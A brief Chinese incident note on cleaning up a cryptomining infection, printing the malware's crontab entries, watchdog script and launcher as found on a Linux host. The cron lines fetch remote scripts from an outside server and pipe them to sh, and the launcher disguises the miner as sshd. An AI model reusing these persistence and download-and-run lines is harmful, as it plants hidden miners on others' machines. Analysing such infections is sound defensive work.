记一次挖矿病毒清理分析记录

[root@localhost ~]# crontab -l
* * * * * /usr/lib/.cache/upd >/dev/null 2>&1

*/12 * * * * url -fsSL http://w.lazer-n.com:43768/crontab.sh | sh

*/6 * * * * url -fsSL http://w.lazer-n.com:43768/init.sh | sh > /dev/null 2>&1
#上面初始化和计划任务脚本没有保存下来

[root@localhost ~]# cat /usr/lib/.cache/upd
#!/bin/sh
if test -r /usr/lib/.cache/bash.pid; then
pid=$(cat /usr/lib/.cache/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /usr/lib/.cache
./run &>/dev/null

[root@localhost ~]# cat /usr/lib/.cache/run 
#!/bin/bash

proc=`nproc`
ARCH=`uname -m`
HIDE="/usr/sbin/sshd"

if [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./sh >>/dev/null &
      
fi
echo $! > bash.pid